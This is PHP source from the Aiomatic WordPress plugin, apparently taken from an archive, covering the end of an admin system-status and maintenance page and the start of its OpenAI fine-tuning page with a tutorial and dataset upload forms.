'<strong>' . ( $required_input_vars + ( 500 + 1000 ) ) . '</strong>', 'http://sevenspark.com/docs/ubermenu-3/faqs/menu-item-limit' ) . '</mark>'; } else { echo '<mark class="yes">' . esc_html( $max_input_vars ) . '</mark>'; } ?> </td> </tr> <tr> <td data-export-label="<?php echo esc_attr__( 'Suhosin Post Max Value Length', 'aiomatic-automatic-ai-content-writer' ); ?>"><?php esc_html_e( 'Suhosin Post Max Value Length:', 'aiomatic-automatic-ai-content-writer' ); ?></td> <td class="help"><?php echo '<a href="#" class="help_tip" data-tip="' . esc_attr__( 'Defines the maximum length of a variable that is registered through a POST request.', 'aiomatic-automatic-ai-content-writer' ) . '">[?]</a>'; ?></td> <td><?php $suhosin_max_value_length = ini_get( 'suhosin.post.max_value_length' ); $recommended_max_value_length = 2000000; if ( $suhosin_max_value_length < $recommended_max_value_length ) { echo '<mark class="error">' . sprintf( wp_kses_post( __( '%1$s - Recommended Value: %2$s.<br />Post Max Value Length limitation may prohibit the Theme Options data from being saved to your database. See: <a href="%3$s" target="_blank" rel="noopener noreferrer">Suhosin Configuration Info</a>.', 'aiomatic-automatic-ai-content-writer' ) ), $suhosin_max_value_length, '<strong>' . $recommended_max_value_length . '</strong>', 'http://suhosin.org/stories/configuration.html' ) . '</mark>'; } else { echo '<mark class="yes">' . esc_html( $suhosin_max_value_length ) . '</mark>'; } ?></td> </tr> <?php endif; ?><?php endif; ?> <tr> <td data-export-label="<?php echo esc_attr__( 'MySQL Version', 'aiomatic-automatic-ai-content-writer' ); ?>"><?php esc_html_e( 'MySQL Version:', 'aiomatic-automatic-ai-content-writer' ); ?></td> <td class="help"><?php echo '<a href="#" class="help_tip" data-tip="' . esc_attr__( 'The version of MySQL installed on your hosting server.', 'aiomatic-automatic-ai-content-writer' ) . '">[?]</a>'; ?></td> <td> <?php global $wpdb; ?><?php echo esc_html( $wpdb->db_version() ); ?> </td> </tr> <tr> <td data-export-label="<?php echo esc_attr__('WP Max Upload Size', 'aiomatic-automatic-ai-content-writer'); ?>"><?php esc_html_e( 'WP Max Upload Size:', 'aiomatic-automatic-ai-content-writer' ); ?></td> <td class="help"><?php echo '<a href="#" class="help_tip" data-tip="' . esc_attr__( 'The largest file size that can be uploaded to your WordPress installation.', 'aiomatic-automatic-ai-content-writer' ) . '">[?]</a>'; ?></td> <td><?php echo size_format( wp_max_upload_size() ); ?></td> </tr> <tr> <td data-export-label="<?php echo esc_attr__('DOMDocument', 'aiomatic-automatic-ai-content-writer'); ?>"><?php esc_html_e( 'DOMDocument:', 'aiomatic-automatic-ai-content-writer' ); ?></td> <td class="help"><?php echo '<a href="#" class="help_tip" data-tip="' . esc_attr__( 'DOMDocument is required for the Fusion Builder plugin to properly function.', 'aiomatic-automatic-ai-content-writer' ) . '">[?]</a>'; ?></td> <td><?php echo class_exists( 'DOMDocument' ) ? '<mark class="yes">✔</mark>' : '<mark class="error">DOMDocument is not installed on your server, but is required if you need to use the Fusion Page Builder.</mark>'; ?></td> </tr> <tr> <td data-export-label="<?php echo esc_attr__('GD Library', 'aiomatic-automatic-ai-content-writer'); ?>"><?php esc_html_e( 'GD Library:', 'aiomatic-automatic-ai-content-writer' ); ?></td> <td class="help"><?php echo'<a href="#" class="help_tip" data-tip="' . esc_attr__( 'Aiomatic uses this library to resize images and speed up your site\'s loading time', 'aiomatic-automatic-ai-content-writer' ) . '">[?]</a>'; ?></td> <td> <?php $info = esc_attr__( 'Not Installed', 'aiomatic-automatic-ai-content-writer' ); if ( extension_loaded( 'gd' ) && function_exists( 'gd_info' ) ) { $info = esc_attr__( 'Installed', 'aiomatic-automatic-ai-content-writer' ); $gd_info = gd_info(); if ( isset( $gd_info['GD Version'] ) ) { $info = $gd_info['GD Version']; } } echo esc_html( $info ); ?> </td> </tr> </tbody> </table> <h3 class="screen-reader-text"><?php esc_html_e( 'More Info', 'aiomatic-automatic-ai-content-writer' ); ?></h3> <?php $loaded_extensions = get_loaded_extensions(); $extensions = array(); $extensions['dom'] = in_array( 'dom', $loaded_extensions ) ? '<mark class="yes">dom</mark>' : '<mark class="no">dom</mark>'; $extensions['xml'] = in_array( 'xml', $loaded_extensions ) ? '<mark class="yes">xml</mark>' : '<mark class="no">xml</mark>'; $extensions['mbstring'] = in_array( 'mbstring', $loaded_extensions ) ? '<mark class="yes">mbstring</mark>' : '<mark class="no">mbstring</mark>'; $extensions['curl'] = in_array( 'curl', $loaded_extensions ) ? '<mark class="yes">curl</mark>' : '<mark class="no">curl</mark>'; $information = array(); $information['mysql_version'] = array( 'label' => __( 'MySQL Detailed version', 'aiomatic-automatic-ai-content-writer' ), 'value' => $wpdb->get_var( "SELECT VERSION() AS version" ), ); $information['curl_version'] = array( 'label' => __( 'cURL version', 'aiomatic-automatic-ai-content-writer' ), 'value' => function_exists( 'curl_version' ) ? curl_version()['version'] : '', ); $information['curlssl_version'] = array( 'label' => __( 'cURL SSL version', 'aiomatic-automatic-ai-content-writer' ), 'value' => function_exists( 'curl_version' ) ? curl_version()['ssl_version'] : '', ); $information['cron_url'] = array( 'label' => __( 'WP-Cron url', 'aiomatic-automatic-ai-content-writer' ), 'value' => site_url( 'wp-cron.php' ), ); $information['docroot'] = array( 'label' => __( 'Document root', 'aiomatic-automatic-ai-content-writer' ), 'value' => $_SERVER['DOCUMENT_ROOT'], ); $information['server'] = array( 'label' => __( 'SERVER', 'aiomatic-automatic-ai-content-writer' ), 'value' => $_SERVER['SERVER_SOFTWARE'], ); $information['os'] = array( 'label' => __( 'Operating System', 'aiomatic-automatic-ai-content-writer' ), 'value' => PHP_OS, ); $information['maxexectime'] = array( 'label' => __( 'Maximum execution time', 'aiomatic-automatic-ai-content-writer' ), 'value' => sprintf( __( '%s seconds', 'aiomatic-automatic-ai-content-writer' ), ini_get( 'max_execution_time' ) ), ); $information['language'] = array( 'label' => __( 'Language', 'aiomatic-automatic-ai-content-writer' ), 'value' => get_bloginfo( 'language' ), ); $information['mysql_encoding'] = array( 'label' => __( 'MySQL Client encoding', 'aiomatic-automatic-ai-content-writer' ), 'value' => ! empty( DB_CHARSET ) ? DB_CHARSET : '-', ); $information['max_upload'] = array( 'label' => __( 'PHP Max Upload Size', 'aiomatic-automatic-ai-content-writer' ), 'value' => ini_get( 'memory_limit' ), ); $information['remote_post'] = array( 'label' => __( 'Remote Post', 'aiomatic-automatic-ai-content-writer' ), 'value' => aiomatic_test_post_reponse() ? 'ON' : 'OFF', ); $information['remote_get'] = array( 'label' => __( 'Remote Get', 'aiomatic-automatic-ai-content-writer' ), 'value' => aiomatic_test_get_reponse() ? 'ON' : 'OFF', ); global $wpdb; $cron_status = aiomatic_check_cron_status(); $information['cron_running'] = array( 'label' => __( 'Is CRON running', 'aiomatic-automatic-ai-content-writer' ), 'value' => is_wp_error($cron_status)? 'No '.esc_html($cron_status->get_error_message()): 'Yes' , ); $information['loaded_extensions'] = array( 'label' => __( 'Loaded PHP Extensions', 'aiomatic-automatic-ai-content-writer' ), 'value' => implode( ', ', $loaded_extensions ), ); $information['required_extensions'] = array( 'label' => __( 'Required PHP Extensions', 'aiomatic-automatic-ai-content-writer' ), 'value' => implode( ', ', $extensions ), ); ?> <table class="wp-list-table widefat fixed" cellspacing="0"> <thead> <tr> <th colspan="2"><h4><?php _e( 'System Information', 'aiomatic-automatic-ai-content-writer' ) ?></h4></th> </tr> <tr> <th width="35%"><?php _e( 'Setting', 'aiomatic-automatic-ai-content-writer' ) ?></th> <th><?php _e( 'Value', 'aiomatic-automatic-ai-content-writer' ) ?></th> </tr> </thead> <tbody> <?php foreach ( $information as $info ) { ?> <tr> <td><?php echo $info['label'] ?></td> <td><?php echo $info['value'] ?></td> </tr> <?php } ?> </tbody> </table> <h3 class="screen-reader-text"><?php esc_html_e( 'Active Plugins', 'aiomatic-automatic-ai-content-writer' ); ?></h3> <table class="widefat" cellspacing="0" id="status"> <thead> <tr> <th colspan="3" data-export-label="<?php echo esc_attr__('Active Plugins', 'aiomatic-automatic-ai-content-writer'); ?> (<?php echo count( (array) get_option( 'active_plugins' ) ); ?>)"><?php esc_html_e( 'Active Plugins', 'aiomatic-automatic-ai-content-writer' ); ?> (<?php echo count( (array) get_option( 'active_plugins' ) ); ?>) </th> </tr> </thead> <tbody> <?php $active_plugins = (array) get_option( 'active_plugins', array() ); if ( is_multisite() ) { $active_plugins = array_merge( $active_plugins, get_site_option( 'active_sitewide_plugins', array() ) ); } foreach ( $active_plugins as $plugin ) { $plugin_data = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin ); if ( ! empty( $plugin_data['Name'] ) ) { // Link the plugin name to the plugin url if available. $plugin_name = esc_html( $plugin_data['Name'] ); if ( ! empty( $plugin_data['PluginURI'] ) ) { $plugin_name = '<a href="' . esc_url_raw( $plugin_data['PluginURI'] ) . '" title="' . esc_html__( 'Visit plugin homepage', 'aiomatic-automatic-ai-content-writer' ) . '">' . $plugin_name . '</a>'; } ?> <tr> <td><?php echo wp_kses_post( $plugin_name ); ?></td> <td class="help"> </td> <td><?php echo esc_html__( 'by', 'aiomatic-automatic-ai-content-writer' ) . ' ' . $plugin_data['Author'] . ' – ' . esc_html( $plugin_data['Version'] ) ; ?></td> </tr> <?php } } ?> </tbody> </table> </div> <div id="tab-1" class="tab-content"> <br/> <hr class="cr_special_hr"/> <div> <h3> <?php echo esc_html__("Rules Currently Running:", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("These rules are currently running on your server.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </h3> <div> <?php if (!get_option('aiomatic_running_list')) { $running = array(); } else { $running = get_option('aiomatic_running_list'); } if (!empty($running)) { echo '<ul>'; foreach($running as $key => $thread) { if(is_array($thread)) { foreach($thread as $param => $type) { echo '<li><b>' . esc_html($type) . '</b> - ID' . esc_html($param) . '</li>'; } } else { echo '<li>ID - ' . esc_html($thread) . '</li>'; } } echo '</ul>'; } else { echo esc_html__('No rules are running right now', 'aiomatic-automatic-ai-content-writer'); } ?> </div> <hr/> <form method="post" onsubmit="return confirm('<?php echo esc_html__('Are you sure you want to clear the running list?', 'aiomatic-automatic-ai-content-writer');?>');"> <input name="aiomatic_delete_rules" type="submit" title="<?php echo esc_html__('Caution! This is for debugging purpose only!', 'aiomatic-automatic-ai-content-writer');?>" value="<?php echo esc_html__('Clear Running Rules List', 'aiomatic-automatic-ai-content-writer');?>"> <input name="aiomatic_nonce" type="hidden" value="<?php echo wp_create_nonce('openai-secret-nonce');?>"> </form> </div> <br/> <hr class="cr_special_hr"/> <div> <h3> <?php echo esc_html__('Restore Plugin Default Settings', 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__('Hit this button and the plugin settings will be restored to their default values. Warning! All settings will be lost!', 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </h3> <hr/> <form method="post" onsubmit="return confirm('<?php echo esc_html__('Are you sure you want to restore the default plugin settings?', 'aiomatic-automatic-ai-content-writer');?>');"><input name="aiomatic_restore_defaults" type="submit" value="<?php echo esc_html__('Restore Plugin Default Settings', 'aiomatic-automatic-ai-content-writer');?>"> <input name="aiomatic_nonce" type="hidden" value="<?php echo wp_create_nonce('openai-secret-nonce');?>"></form> </div> <br/> <hr class="cr_special_hr"/> <div> <h3> <?php echo esc_html__('Delete All Posts Generated by this Plugin:', 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__('Hit this button and all posts generated by this plugin will be deleted!', 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </h3> <hr/> <form method="post" onsubmit="return confirm('<?php echo esc_html__('Are you sure you want to delete all generated posts? This can take a while, please wait until it finishes.', 'aiomatic-automatic-ai-content-writer');?>');"><input name="aiomatic_delete_all" type="submit" value="<?php echo esc_html__('Delete All Generated Posts', 'aiomatic-automatic-ai-content-writer');?>"> <input name="aiomatic_nonce" type="hidden" value="<?php echo wp_create_nonce('openai-secret-nonce');?>"></form> </div> <br/> <hr class="cr_special_hr"/> <div> <h3> <?php echo esc_html__('Delete All Rules from All Section: ', 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Hit this button and all rules will be deleted!", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </h3> <hr/> <form method="post" onsubmit="return confirm('Are you sure you want to delete all rules?');"><input name="aiomatic_delete_all_rules" type="submit" value="Delete All Generated Rules"> <input name="aiomatic_nonce" type="hidden" value="<?php echo wp_create_nonce('openai-secret-nonce');?>"></form> </div> <br/> </div> <div id="tab-0" class="tab-content"> <hr class="cr_special_hr"/> <h3> <?php echo esc_html__('Activity Log:', 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__('This is the main log of your plugin. Here will be listed every single instance of the rules you run or are automatically run by schedule jobs (if you enable logging, in the plugin configuration).', 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </h3> <hr/> <form method="post" onsubmit="return confirm('<?php echo esc_html__('Are you sure you want to delete all logs?', 'aiomatic-automatic-ai-content-writer');?>');"> <input name="aiomatic_delete" type="submit" value="<?php echo esc_html__('Delete Logs', 'aiomatic-automatic-ai-content-writer');?>"> <input name="aiomatic_nonce" type="hidden" value="<?php echo wp_create_nonce('openai-secret-nonce');?>"> </form> <hr/> <div> <?php if($wp_filesystem->exists(WP_CONTENT_DIR . '/aiomatic_info.log')) { $log = $wp_filesystem->get_contents(WP_CONTENT_DIR . '/aiomatic_info.log'); $log = esc_html($log);$log = str_replace('<br/>', '<br/>', $log);echo $log; } else { echo esc_html__('Log empty', 'aiomatic-automatic-ai-content-writer'); } ?> </div> </div> </div> </div> <?php } ?>���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/aiomatic-training.php���������������������������������������������������������������������������0000644�����������������00000123754�14757771437�0011507 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( ! defined( 'ABSPATH' ) ) exit; function aiomatic_openai_training() { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { ?> <h1><?php echo esc_html__("You must add an OpenAI API Key into the plugin's 'Settings' menu before you can use this feature!", 'aiomatic-automatic-ai-content-writer');?></h1> <?php return; } if (aiomatic_check_if_azure_or_others($aiomatic_Main_Settings)) { ?> <h1><?php echo esc_html__("This feature is currently not supported when using Azure/Claude API!", 'aiomatic-automatic-ai-content-writer');?></h1> <?php return; } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); if(count($appids) > 1) { ?> <h1><?php echo esc_html__("This feature is currently supported only if you enter a single OpenAI API key in the plugin's 'Settings' menu.", 'aiomatic-automatic-ai-content-writer');?></h1> <?php return; } $token = $appids[array_rand($appids)]; if(aiomatic_is_aiomaticapi_key($token)) { ?> <h1><?php echo esc_html__("This feature is currently supported only for OpenAI API keys.", 'aiomatic-automatic-ai-content-writer');?></h1> <?php return; } ?> <div class="wp-header-end"></div> <div class="wrap gs_popuptype_holder seo_pops"> <h2 class="cr_center"><?php echo esc_html__("AI Model Training", 'aiomatic-automatic-ai-content-writer');?></h2> <div class="wrap"> <nav class="nav-tab-wrapper"> <a href="#tab-1" class="nav-tab"><?php echo esc_html__("Step 0: Tutorial", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-2" class="nav-tab"><?php echo esc_html__("Step 1a: Dataset Uploader", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-3" class="nav-tab"><?php echo esc_html__("Step 1b: Dataset Manual Entry", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-4" class="nav-tab"><?php echo esc_html__("Step 1c: Dataset Converter", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-5" class="nav-tab"><?php echo esc_html__("Step 2: Datasets", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-6" class="nav-tab"><?php echo esc_html__("Step 3: Model Finetunes", 'aiomatic-automatic-ai-content-writer');?></a> </nav> <div id="tab-1" class="tab-content"> <br/> <h3><?php echo esc_html__("What is fine-tuning in GPT-3?", 'aiomatic-automatic-ai-content-writer');?></h3> <p><?php echo esc_html__("Fine-tuning in GPT-3 is the process of adjusting a specific AI model and its parameters to better suit a specific task. This can be done by providing GPT-3 with a data set that is tailored to the task you need. For example, if you want to create a chatbot which replies similar to questions similar to Rick, from \"Rick and Morty\", this feature is what you need.", 'aiomatic-automatic-ai-content-writer');?></p> <p><?php echo esc_html__("When fine-tuning a model, it's important to keep a few things in mind, such as the quality of the data set and the parameters of the model that will be adjusted. Additionally, it's important to monitor the performance of the model during and after fine-tuning.", 'aiomatic-automatic-ai-content-writer');?></p> <p><?php echo esc_html__("Lets say you would like to train your AI to answer specific questions about your website content, company, product or anything else. You can achieve this by fine-tuning a model using your own data! Please note, this process requires a lot of effort. Preparing a high quality data is the key here. And you need to do a lot of testing to achieve best results!", 'aiomatic-automatic-ai-content-writer');?></p> <p><?php echo esc_html__("If you are looking for a quick way to customize the AI content writer and to teach it some info about your company, I suggest you check the", 'aiomatic-automatic-ai-content-writer');?> <a href="<?php echo admin_url('admin.php?page=aiomatic_embeddings_panel');?>"><?php echo esc_html__("Embeddings", 'aiomatic-automatic-ai-content-writer');?></a> <?php echo esc_html__("feature of the plugin", 'aiomatic-automatic-ai-content-writer');?>.</p> <h3><?php echo esc_html__("More about fine tuning", 'aiomatic-automatic-ai-content-writer');?></h3> <p><b><?php echo esc_html__("The main steps of fine-tuning are", 'aiomatic-automatic-ai-content-writer');?>:</b></p> <ol><li><b><?php echo esc_html__("Step 0: Read this tutorial carefully and watch the tutorial video", 'aiomatic-automatic-ai-content-writer');?>:</b> <?php echo esc_html__("be sure to not skip this step! Also, be sure to be clear with", 'aiomatic-automatic-ai-content-writer');?> <a href="https://openai.com/api/pricing/" target="_blank"><?php echo esc_html__("OpenAI's pricing", 'aiomatic-automatic-ai-content-writer');?></a> <?php echo esc_html__("for usage of fine tuned models", 'aiomatic-automatic-ai-content-writer');?>.</li> <li><b><?php echo esc_html__("Step 1: Create your data for fine-tuning", 'aiomatic-automatic-ai-content-writer');?>:</b> <?php echo esc_html__("create as many high quality questions and answers as possible, containing as much useful information you can think of, which can teach the AI about the purpose of your finetune. Keep in mind that you might need to create very large amounts of data (tens of tousands of questions and answers) for this to work as expected.", 'aiomatic-automatic-ai-content-writer');?> <br/><br/><?php echo esc_html__("Here are some options you have, to help create the data for fine-tuning (select the one that best fits your needs)", 'aiomatic-automatic-ai-content-writer');?>: <ul> <li> <i>- <?php echo esc_html__("Step 1a: Dataset Uploader", 'aiomatic-automatic-ai-content-writer');?>:</i> <?php echo esc_html__("if you alread have your data ready in the required format (JSONL file), you will be able to directly upload it to OpenAI. Be sure to select the base model for which you want to create a fine tune, from the 'Model Base' dropdown list, because you decide at this step for which model you want to create a fine tune with the uploaded data. To upload larger datasets, your WordPress maximum file upload size setting should be set to at least the file size you want to upload. You can follow", 'aiomatic-automatic-ai-content-writer');?> <a href="https://www.wpbeginner.com/wp-tutorials/how-to-increase-the-maximum-file-upload-size-in-wordpress/" target="_blank"><?php echo esc_html__("this guide", 'aiomatic-automatic-ai-content-writer');?></a> <?php echo esc_html__("to achieve this. The uploaded file must contain prompt and completion pairs. The \"prompt\" part is the question and the \"completion\" part is the answer. You can find an example file", 'aiomatic-automatic-ai-content-writer');?> <a href="https://coderevolution.ro/ai/data.jsonl" target="_blank"><?php echo esc_html__("here", 'aiomatic-automatic-ai-content-writer');?></a>. <?php echo esc_html__("To convert files to JSONL format, you can use the", 'aiomatic-automatic-ai-content-writer');?> <a href="https://platform.openai.com/docs/guides/fine-tuning/cli-data-preparation-tool" target="_blank"><?php echo esc_html__("CLI Data Preparation Tool", 'aiomatic-automatic-ai-content-writer');?></a> <?php echo esc_html__("from OpenAI.", 'aiomatic-automatic-ai-content-writer');?> </li> <li> <i>- <?php echo esc_html__("Step 1b: Dataset Manual Entry", 'aiomatic-automatic-ai-content-writer');?>:</i> <?php echo esc_html__("if not, you can start entering your data into the plugin. To avoid losing your work, this data is kept in your browser's local storage. This is actually complex, so learn how to write datasets by studying", 'aiomatic-automatic-ai-content-writer');?> <a href="https://platform.openai.com/docs/guides/fine-tuning/conditional-generation" target="_blank"><?php echo esc_html__("case studies from OpenAI", 'aiomatic-automatic-ai-content-writer');?></a>. <?php echo esc_html__("Here you can also download your data or directly upload it to OpenAI for usage. Useful tip: to gather your data, start by collecting info about your website pages, content, and any ideas you have in your mind. Try to create a file, or several files, without any HTML formatting or other unnecessary elements. If you have access to ChatGPT, use it to generate a large number of questions and answers based on your content. Gather the data in a Google Sheet with the two columns, and make sure to review and perfect it. A dataset should have a minimum of 500 rows to offer useful results, and much more if you want to achieve better results. According to the OpenAI documentation, above 3,000 rows are recommended. But it ultimately depends on what you're trying to achieve. Be sure to select the base model for which you want to create a fine tune, from the 'Model Base' dropdown list, because you decide at this step for which model you want to create a fine tune with the uploaded data. Check OpenAI's recommendations for fine tuning,", 'aiomatic-automatic-ai-content-writer');?> <a href="https://platform.openai.com/docs/guides/fine-tuning/preparing-your-dataset" target="_blank"><?php echo esc_html__("here", 'aiomatic-automatic-ai-content-writer');?></a>. </li><li> <i>- <?php echo esc_html__("Step 1c: Dataset Converter", 'aiomatic-automatic-ai-content-writer');?>:</i> <?php echo esc_html__("this is a tool which is designed to colect information from your pages, posts or products and to create datasets from them. This can be useful if you want to train a new model to be more knowledgeable of your website's content. The tool will set the post/page/product title as the \"question\" and the content as the \"answer\". You can download the resulting files and upload them using the 'Dataset Uploader' tab.", 'aiomatic-automatic-ai-content-writer');?> </li> </ul></li> <li><b><?php echo esc_html__("Step 2: Start training your model", 'aiomatic-automatic-ai-content-writer');?>:</b> <?php echo esc_html__("after data upload is complete, go to the 'Datasets' tab of this plugin, search for the file you uploaded (be sure to sync files) and click 'Create Fine-Tune' for it. In the popup which appears, select 'New Model' if you want to create a new fine tune, or select any existing finetuned models, to create a new finetune based on that existing finetuned model. This process will take some time, for a dataset of 500 rows, it typically takes around 20 minutes.", 'aiomatic-automatic-ai-content-writer');?></li> <li><b><?php echo esc_html__("Step 3: Check progress of the fine tune", 'aiomatic-automatic-ai-content-writer');?>:</b> <?php echo esc_html__("after finetune creation is complete, go to the 'Model Finetunes' tab and check the finetune you created. Be sure to sync finetunes. Wait until the finetune is listed with status 'succeeded', after which, it will appear also in the plugin and can be directly selected, when selecting the models which you want to use for data creation in the plugin! If you don't see your fine-tuned model in the dropdown list, please make sure that the fine-tune request is complete. You can also click on \"Sync Models\" link to get latest models.", 'aiomatic-automatic-ai-content-writer');?></li> </ol> <p><?php echo esc_html__("Please note, I can not guarantee that the fine-tuned model will work well for your use case. As I mentioned before, dataset quality is very important. If you have a small dataset, you might not get good results. If you have a very large dataset with really well-defined prompt and completion pairs, you should get good results.", 'aiomatic-automatic-ai-content-writer');?></p> <h3><?php echo esc_html__("Tutorial Video", 'aiomatic-automatic-ai-content-writer');?></h3> <p class="cr_center"><div class="embedtool"><iframe src="https://www.youtube.com/embed/MV5F2X6z_X4" frameborder="0" allowfullscreen></iframe></div></p> </div> <div id="tab-2" class="tab-content"> <br/> <?php $fileTypes = array( 'fine-tune' => 'Fine-Tune', //'answers' => 'Answers', //'search' => 'Search', //'classifications' => 'Classifications' ); $aiomaticMaxFileSize = wp_max_upload_size(); ?> <h1 class="wp-heading-inline"><?php echo esc_html__("Upload A New File", 'aiomatic-automatic-ai-content-writer');?></h1> <div class="aiomatic_form_upload_file"> <table class="form-table"> <tbody> <tr> <th scope="row"><?php echo esc_html__("Dataset (*.jsonl)", 'aiomatic-automatic-ai-content-writer');?></th> <td> <input type="file" id="aiomatic_file_upload" accept=".jsonl"> </td> </tr> <tr> <th scope="row"><?php echo esc_html__("Purpose", 'aiomatic-automatic-ai-content-writer');?></th> <td> <select id="aiomatic_file_purpose"> <?php foreach ($fileTypes as $key=>$fileType){ echo '<option value="'.esc_html($key).'">'.esc_html($fileType).'</option>'; } ?> </select> </td> </tr> <tr> <th scope="row"><?php echo esc_html__("Model Base", 'aiomatic-automatic-ai-content-writer');?></th> <td> <select id="aiomatic_file_model"> <?php foreach(AIOMATIC_TRAINING_MODELS as $bm) { echo '<option value="' . $bm . '"'; if($bm == 'davinci-002') { echo ' selected'; } echo '>' . $bm . '</option>'; } ?> </select> </td> </tr> <tr> <th scope="row"><?php echo esc_html__("Custom Model Name", 'aiomatic-automatic-ai-content-writer');?></th> <td> <input type="text" class="regular-text" id="aiomatic_file_name" placeholder="<?php echo esc_html__("Your model name", 'aiomatic-automatic-ai-content-writer');?>"> </td> </tr> <tr> <td colspan="2"> <div class="aiomatic_upload_success aiomatic_none margin5 colorgr"><?php echo esc_html__("File uploaded successfully you can view it in Datasets tab.", 'aiomatic-automatic-ai-content-writer');?></div> <div class="aiomatic_progress aiomatic_none"><span></span><small><?php echo esc_html__("Uploading", 'aiomatic-automatic-ai-content-writer');?></small></div> <div class="aiomatic-error-msg"></div> </td> </tr> <tr> <td colspan="2"> <button class="button button-primary coderevolution_block_input" id="aiomatic_file_button"><?php echo esc_html__("Upload to OpenAI", 'aiomatic-automatic-ai-content-writer');?></button><br> <p class="cr_center"><?php echo esc_html__("Maximum upload file size:", 'aiomatic-automatic-ai-content-writer');?> <?php echo size_format($aiomaticMaxFileSize)?> <?php if(wp_max_upload_size() < 104857600){ ?> <?php echo esc_html__("(Please increase this value if you want to upload larger datasets)", 'aiomatic-automatic-ai-content-writer');?> <?php } ?></p> <p class="cr_center"><?php echo esc_html__("TIP: Check more details on training prompt design recommendations,", 'aiomatic-automatic-ai-content-writer');?> <a href="https://platform.openai.com/docs/guides/fine-tuning/preparing-your-dataset" target="_blank">here</a>.</p> </td> </tr> </tbody> </table> </div> </div> <div id="tab-3" class="tab-content"> <br/> <h1 class="wp-heading-inline"><?php echo esc_html__("Enter Your Data", 'aiomatic-automatic-ai-content-writer');?></h1> <form id="aiomatic_form_data" class="coderevolution_gutenberg_input" action="" method="post"> <div class="aiomatic_list_data"> <div id="aiomatic_legacy_data"> <div class="aiomatic_data_item"> <div class="cr_center"><strong><?php echo esc_html__("Prompt", 'aiomatic-automatic-ai-content-writer');?></strong></div> <div class="cr_center"><strong><?php echo esc_html__("Completion", 'aiomatic-automatic-ai-content-writer');?></strong></div> </div> <div id="aiomatic_data_list" class="aiomatic_data_list"> <div class="aiomatic_data_item aiomatic_data"> <div> <textarea rows="1" name="data[0][prompt]" class="regular-text aiomatic_data_prompt aiomatic_height" placeholder="Prompt"></textarea> </div> <div> <textarea rows="1" name="data[0][completion]" class="regular-text aiomatic_data_completion aiomatic_height" placeholder="Completion"></textarea> <span class="button button-link-delete">×</span> </div> </div> </div> </div> <div id="aiomatic_gpt_data" class="cr_display_none"> <div class="aiomatic_new_data_item"> <div class="cr_center"><strong><?php echo esc_html__("System", 'aiomatic-automatic-ai-content-writer');?></strong></div> <div class="cr_center"><strong><?php echo esc_html__("User", 'aiomatic-automatic-ai-content-writer');?></strong></div> <div class="cr_center"><strong><?php echo esc_html__("Assistant", 'aiomatic-automatic-ai-content-writer');?></strong></div> </div> <div id="aiomatic_new_data_list" class="aiomatic_data_list"> <div class="aiomatic_new_data_item aiomatic_new_data"> <div> <textarea rows="1" name="new_data[0][system]" class="regular-text aiomatic_new_data_system aiomatic_height" placeholder="System"></textarea> </div> <div> <textarea rows="1" name="new_data[0][prompt]" class="regular-text aiomatic_new_data_prompt aiomatic_height" placeholder="User"></textarea> </div> <div> <textarea rows="1" name="new_data[0][completion]" class="regular-text aiomatic_new_data_completion aiomatic_height" placeholder="Assistant"></textarea> <span class="button button-link-delete">×</span> </div> </div> </div> </div> <button class="button button-primary aiomatic_add_data" type="button"><?php echo esc_html__("Save & Add New", 'aiomatic-automatic-ai-content-writer');?></button><br/><br/> <button class="button button-primary aiomatic_clear_data coderevolution_gutenberg_input" type="button"><?php echo esc_html__("Clear Data", 'aiomatic-automatic-ai-content-writer');?></button><br/><br/> <button class="button button-primary aiomatic_download_data coderevolution_gutenberg_input" type="button"><?php echo esc_html__("Download Data", 'aiomatic-automatic-ai-content-writer');?></button><br/><br/> <button class="button button-primary aiomatic_load_data coderevolution_gutenberg_input"><?php echo esc_html__("Load From File", 'aiomatic-automatic-ai-content-writer');?></button> <span class="cr_center coderevolution_block_input"><input type="file" id="aiomatic_file_load" accept=".jsonl,.csv"></span> </div> <p class="cr_center"><?php echo esc_html__("You can load .csv or .jsonl files.", 'aiomatic-automatic-ai-content-writer');?></p> <p class="cr_center"><?php echo esc_html__("TIP: You don't need to add prompt or completion suffixes in the data from above, as the plugin will handle this automatically, it will automatically add to your data the suffixes defined in the plugin's 'Settings' menu.", 'aiomatic-automatic-ai-content-writer');?></p> <hr/> <table class="form-table"> <tbody> <tr> <th scope="row"><?php echo esc_html__("Purpose", 'aiomatic-automatic-ai-content-writer');?></th> <td> <select name="purpose"> <option value="fine-tune"><?php echo esc_html__("Fine-Tune", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <th scope="row"><?php echo esc_html__("Model Base", 